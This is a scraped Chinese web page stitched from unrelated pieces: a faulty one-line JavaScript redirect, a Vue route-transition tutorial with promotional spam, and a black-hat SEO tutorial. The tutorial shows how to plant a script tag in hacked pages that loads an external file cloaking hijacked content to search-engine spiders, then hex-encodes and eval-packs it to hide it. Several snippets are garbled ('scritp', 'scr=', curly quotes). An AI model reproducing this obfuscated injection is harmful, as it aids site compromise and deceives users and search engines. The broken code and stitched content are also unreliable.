整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

JAVASCRIPT跳转到指定网址

JAVASCRIPT跳转到指定网址

简单,一句代码足矣。

window.href="http://xxx.com"

本文由ISMY博客发布??

转载请注明出处。

、效果图

二、思路

1. 定义两个 CSS 过度动画,前进与后退: slide-right-enter 和 slide-left-enter

2. 给路由配置meta信息,设置各个路由的级别: index

3. 监控路由跳转,比对 meta 信息级别,如果从大跳转到小说明是返回,从小跳转到大则是前进

身为前端老司机,还是得分享些干货精品学习资料的,前端资料获取方式:

1.在你手机的右上角有【关注】选项,点击关注!

2.关注后,手机客户端点击我的主页面,右上角有私信,请私信回复:【学习】

已经设置好了关键词自动回复,所以回复的时候请注意关键词哟~

三、具体代码

APP.vue

<template>
 <div id="app">
 <transition :name="transitionName">
 <router-view/>
 </transition>
 </div>
</template>
<script>
export default {
 name: 'app',
 data () {
 return {
 transitionName: ''
 }
 },
 watch: {
 $route (to, from) {
 if (to.meta.index > from.meta.index) {
 this.transitionName='slide-left'
 } else {
 this.transitionName='slide-right'
 }
 }
 }
}
</script>
<style lang="scss">
#app {
 color: #2c3e50;
}
//转场动画
.slide-right-enter-active,
.slide-right-leave-active,
.slide-left-enter-active,
.slide-left-leave-active {
 // 启用硬件加速
 will-change: transform;
 transition: all 300ms;
 position: fixed;
}
.slide-right-enter {
 transform: translate(-100%, 0);
 transition-timing-function: ease-in;
}
.slide-left-enter {
 transform: translate(100%, 0);
 transition-timing-function: ease-in;
}
</style>

router.js

一些黑帽SEO要对跳转的js代码进行加密,学习JavaScript加密方式,当我们网站被黑时,看到这段代码就明白这就是快照劫持的代码,删掉即可解决网站被黑问题。今天,错误博客(cuowu.com)分享的内容为《黑帽SEO教程为html中的js跳转url加密》。希望对大家有所帮助。

一、未加密的js代码

JavaScript跳转是黑帽SEO中快照劫持常见操作手法,比如在寄生虫程序使用中,在被黑掉的html或php中增加如下代码就可以完成快照劫持:

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

这段JavaScript代码的作用是引入v6.js文件,v6.js文件中的内容为if判断语句,如果访问的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,则显示劫持的快照内容,如果是用户直接访问浏览器则会显示原页面内容。

二、16进制加密

首先把上面的命令增加为如下:

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后,对前面双引号内的内容进行16进制加密,后面单引号内容也同样进行16进制加密,依次为:

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

这个可以用utf-8转16进制加密在线工具即可。错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

加密完成后变为:

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密压缩

然后,把上述的js代码再次补充一下才能正常运行,即:

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中间window到</script>;的内容利用站长工具的JS混淆加密压缩就可以得到eval加密形式,错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

获得如下加密代码如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最终获得的加密代码如下:

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

这就是全部的js加密压缩过程了,解压过程反过来推就可以了。

以上就是错误博客(https://cuowu.com/)分享的内容为《黑帽SEO为html中的js加密(js混淆与16进制加密)》。感谢您的阅读。更多原创搜索“错误博客”。